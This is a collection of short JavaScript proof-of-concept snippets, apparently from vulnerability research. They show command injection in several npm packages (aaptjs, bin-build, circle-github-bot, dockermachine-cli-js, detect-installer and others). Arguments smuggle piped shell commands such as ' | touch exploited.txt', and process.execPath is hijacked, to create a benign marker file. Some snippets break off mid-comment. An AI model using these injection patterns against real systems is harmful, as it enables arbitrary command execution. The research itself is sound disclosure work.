mcoimbra

const zeroEks = require('0x');

var args = {
    pathToNodeBinary: "./local-touch.sh",
    visualizeOnly: "./",
    v: true
}

/*
 * For this to work, the following files with specific names must be present

mcoimbra

'use strict'

const pkg = require('aaptjs');



/* 
* Creates many zip files. After PREV_ZIP_SZ zip files created, 
* it starts adding the last PREV_ZIP_SZ zip files to the new one 
* rather than just hte previous one.

mcoimbra

'use strict'

const pkg = require('aaptjs');

/*
 * Function 'aaptjs.add' starts a child process with a method signature 
 * that takes a single string command containing both the binary and arguments, 
 * thus being vulnerable to this pipe usage example.
 * A local 'exploited.txt' file will be created.
 */

mcoimbra

'use strict'

const pkg = require('babel-plugin-module-rewrite');


const _ref2 = {
    types: {
        isIdentifier: function() { return true; },
        isMemberExpression: function() {}
    }

mcoimbra

'use strict'

const pkg = require('bin-build');

// A local 'exploited.txt' file will be created.
pkg.directory("./", ["touch exploited.txt"]);


/*
 * Relevant code from src/index.js

mcoimbra

'use strict'


const pkg = require('circle-github-bot');

const i = new pkg();
i.env = {};

// This will create a local 'exploited.txt' file.
i.curl('', ' | touch exploited.txt', '');

mcoimbra

'use strict'

const pkg = require('cssnano');

const options = {
    preset: function() {
        const fs = require('node:fs');
        let fd = fs.openSync('exploited.txt', 'a');
        fs.closeSync(fd);

mcoimbra

'use strict'

const daemonizeProcess = require('daemonize-process');

process.execPath = 'touch';
process.argv = ['touch', 'exploited.txt', ''];

/* 
 * This will launch a child process that is supposed to be the same binary of the current process.
 * By hijacking process.execPath and process.argv, we inject a different executable.

mcoimbra

'use strict'

const pkg = require('dockermachine-cli-js');

const d = new pkg.DockerMachine();

const commandStr = ' | touch exploited.txt';

// An 'exploited.txt' file will be created locally.
d.command(commandStr);

mcoimbra

'use strict'

const pkg = require('detect-installer');

// This creates a local 'exploited.txt' file.
pkg.hasPackageCommand('touch exploited.txt | ');